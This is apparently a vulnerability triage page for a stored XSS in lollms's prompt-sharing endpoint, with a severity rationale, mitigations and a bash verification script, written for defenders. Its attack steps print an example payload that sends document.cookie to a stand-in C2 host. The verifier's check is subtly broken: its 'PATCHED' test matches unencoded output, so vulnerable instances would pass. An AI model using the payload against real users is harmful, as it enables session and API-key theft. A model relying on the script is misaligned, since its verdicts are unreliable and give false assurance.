A graffiti tag on the wall of a personal art studio that only two people ever visit
parisneo/lollms (Lord of Large Language Models) is an open-source, self-hosted UI for running local LLMs. The bug is a classic stored XSS in the POST /api/prompts/share endpoint: an authenticated user submits a shared prompt whose fields are rendered back to viewers without sufficient output encoding, executing attacker-controlled JavaScript in the victim's browser session. It affects the *latest* branch at disclosure — no clean fixed-tag exists yet, and lollms ships as a rolling pip install / git pull project without LTS lines.
The vendor CVSS of 8.7 (HIGH) is misleading for anyone managing a fleet. PR:L and UI:R are correctly modeled, but S:C / C:H / I:H assumes the victim browser context yields cross-tenant impact — in reality lollms is a single-tenant, single-operator personal LLM UI almost never deployed multi-user in production. For a 10k-host enterprise, this is closer to a LOW/backlog-hygiene item unless a research team explicitly runs a shared lollms instance.
4 steps from start to impact.
Attacker obtains a valid lollms account
/api/prompts/share endpoint requires an authenticated session (PR:L). In default lollms deployments there is no self-service signup — the operator provisions accounts, or the app runs on localhost with no auth at all. The attacker needs credentials or an unauthenticated instance reachable on the network.- Reachable lollms instance
- Valid session token or an auth-disabled deployment
- lollms is typically bound to
127.0.0.1or LAN — public exposure is rare - No public signup flow in default config
- Small user population means credential stuffing lists rarely hit
/api/prompts/share from unexpected source IPs; auth failures on the same endpointInject payload via shared prompt fields
<img src=x onerror=fetch('//c2/'+document.cookie)>, <svg/onload=…>) suffice — this is textbook CWE-79. Tools: Burp Suite Repeater, curl, or xsstrike for payload discovery.- Endpoint accepts the payload without server-side sanitization
- Rendered surface uses
innerHTML/v-html/ unescaped template
- Modern browsers with strict CSP block inline event handlers — but lollms ships no CSP by default
- None otherwise; injection is trivial
javascript.express.audit.xss) on the codebase; runtime DAST like ZAP flags it in secondsVictim views the shared prompt
- Second user with active session visits the shared prompts page
- No CSP or Trusted Types enforced
- Most lollms installs are single-user; there is no second victim to phish
- Team deployments are rare and typically internal-only
Session hijack / API key theft / prompt exfiltration
BeEF for full browser hook.- Victim has stored API keys in the UI
- Egress to attacker infrastructure allowed
- Blast radius stops at the victim's browser context — no host RCE
- API key theft matters only if the victim actually stored production keys in a hobbyist UI
The supporting signals.
| In-the-wild exploitation | None observed. Not in CISA KEV. No campaign attribution. |
|---|---|
| Proof-of-concept | Public PoC filed with the huntr.dev / GitHub advisory disclosure (typical for parisneo/lollms reports). Trivial to reproduce with any XSS payload. |
| EPSS | Expected <0.5% given the niche footprint and auth requirement (not yet scored at disclosure+1 day) |
| KEV status | Not listed |
| CVSS vector | AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N → the S:C scope-change is doing heavy lifting; realistic scope is single-user browser context |
| Affected versions | parisneo/lollms latest at disclosure (2026-07-18). No LTS branches. |
| Fixed versions | Awaiting maintainer patch — track the lollms GitHub repo commits and the huntr disclosure page |
| Exposure population | Shodan queries for lollms typically return <200 internet-exposed instances globally; overwhelmingly hobbyist/researcher hosts |
| Disclosure | 2026-07-18, disclosed via huntr.dev-style researcher pipeline |
| Reporter | Third-party security researcher via huntr.dev (parisneo/lollms is a frequent target on that platform) |
noisgate verdict.
The single most decisive factor is installed-base share: parisneo/lollms is a hobbyist self-hosted LLM UI with a global exposure population in the low hundreds and almost no enterprise deployment. Stored XSS requiring authentication and victim interaction in a single-tenant tool cannot justify a HIGH bucket for a 10k-host fleet defender.
Why this verdict
- Auth required (PR:L): attacker needs a valid account or an auth-disabled instance — cuts opportunistic mass exploitation.
- User interaction required (UI:R): payload only fires when a second user browses shared prompts; most lollms installs are single-user, so there is no second user.
- Installed-base share:
parisneo/lollmsis a niche hobbyist project — Shodan/Censys footprint is in the low hundreds globally versus millions of hosts for canonical enterprise tools. - Role multiplier: lollms is *not* on the high-value-role catalog. It is not IdP, hypervisor, PAM, CI/CD, backup, edge appliance, or kernel-mode agent. Even in the worst-case role (a shared research LLM console), blast radius stops at the victim's browser context — no domain, fleet, or supply-chain outcome.
- No CSP / no Trusted Types raises exploit reliability but does not change scope — still one victim, one browser.
Why not higher?
MEDIUM/HIGH would require either enterprise-scale deployment, unauthenticated exploitation, or a high-value-role component. None apply: lollms is niche, auth is required, and the affected component is a personal LLM UI, not identity/edge/PKI/backup/hypervisor infrastructure.
Why not lower?
Not IGNORE because the bug is real and trivially exploitable where lollms *is* deployed with multiple users, and stolen LLM API keys can produce measurable financial loss. Teams running a shared research instance should treat this as a genuine backlog item, not a non-issue.
What to do — in priority order.
- Inventory lollms instances — Run an internal Nmap/Censys sweep for HTTP banners containing
lollmson ports 9600/9601/5000. If you find zero, close the ticket. No mitigation SLA at LOW — treat as backlog hygiene. - Bind lollms to localhost only — In
configs/config.yamlsethost: 127.0.0.1and require an SSH tunnel or reverse-proxy with auth for remote access. Eliminates the network attack surface entirely. - Enforce a strict CSP via reverse proxy — Front lollms with nginx/Caddy and inject
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'. Neutralizes inline event handlers even if the payload lands. - Rotate any LLM provider API keys stored in lollms — If a shared instance was internet-exposed, assume stored OpenAI/Anthropic/HF keys are compromised and rotate them. Cheap insurance.
- Track the upstream fix — Watch github.com/ParisNeo/lollms commits for output-encoding fixes on prompt share render paths. Update on the standard 365-day noisgate remediation SLA once available.
- WAF rules blocking
<script>— modern XSS payloads use SVG,on*handlers, and template literals; string-match WAFs are trivially bypassed and give false confidence. - EDR on the lollms host — the exploit runs in the *victim's browser*, not on the server. Host EDR sees nothing.
- Disabling JavaScript in the victim's browser — lollms is a JS SPA; the UI won't function at all.
Crowdsourced verification payload.
Run this on any Linux host you suspect is running lollms, or point it at a remote instance. Example: ./check_lollms.sh http://10.20.30.40:9600 — no privileges required beyond network reachability. Exit code 0 = PATCHED/NOT-INSTALLED, 1 = VULNERABLE, 2 = UNKNOWN.
#!/usr/bin/env bash
# noisgate verifier for CVE-2026-12228 (parisneo/lollms stored XSS)
# Usage: ./check_lollms.sh <base_url> e.g. ./check_lollms.sh http://127.0.0.1:9600
set -u
TARGET="${1:-http://127.0.0.1:9600}"
UA="noisgate-verifier/1.0"
if ! command -v curl >/dev/null 2>&1; then
echo "UNKNOWN: curl not installed"; exit 2
fi
# 1. Is lollms reachable?
ROOT=$(curl -sk -A "$UA" --max-time 5 "$TARGET/" || true)
if ! echo "$ROOT" | grep -qiE 'lollms|lord of large language models'; then
echo "PATCHED: no lollms instance detected at $TARGET"
exit 0
fi
# 2. Probe the vulnerable endpoint. A patched build should reject or encode the payload.
PAYLOAD='{"title":"noisgate-probe","content":"<img src=x onerror=alert(1)>","tags":["noisgate"]}'
RESP=$(curl -sk -A "$UA" -o /tmp/lollms_resp.$$ -w '%{http_code}' \
-H 'Content-Type: application/json' \
-X POST --max-time 5 \
--data "$PAYLOAD" \
"$TARGET/api/prompts/share" || echo 000)
BODY=$(cat /tmp/lollms_resp.$$ 2>/dev/null); rm -f /tmp/lollms_resp.$$
case "$RESP" in
401|403)
# Auth wall present — good hygiene, but the code path is still vulnerable if the attacker has creds
echo "UNKNOWN: /api/prompts/share requires auth (HTTP $RESP). Vulnerable code path likely still present — re-run with valid session cookie."
exit 2
;;
200|201)
if echo "$BODY" | grep -q '<img'; then
echo "PATCHED: payload HTML-encoded on echo"
exit 0
elif echo "$BODY" | grep -q '<img src=x onerror='; then
echo "VULNERABLE: payload reflected unencoded at $TARGET/api/prompts/share"
exit 1
else
echo "UNKNOWN: accepted (HTTP $RESP) but reflection surface unclear — validate manually in browser"
exit 2
fi
;;
404)
echo "PATCHED: endpoint /api/prompts/share not present (HTTP 404)"; exit 0 ;;
000)
echo "UNKNOWN: target unreachable"; exit 2 ;;
*)
echo "UNKNOWN: unexpected HTTP $RESP"; exit 2 ;;
esac
If you remember one thing.
Sources
- parisneo/lollms GitHub repository
- huntr.dev disclosures for parisneo/lollms
- CWE-79: Improper Neutralization of Input During Web Page Generation
- OWASP Cross-Site Scripting Prevention Cheat Sheet
- MDN — Content Security Policy
- CISA Known Exploited Vulnerabilities Catalog
- FIRST EPSS Model
- NVD entry for CVE-2026-12228
What defenders are saying.
Crowdsourced verification outputs.
Results submitted by users who ran the verification payload against their environment.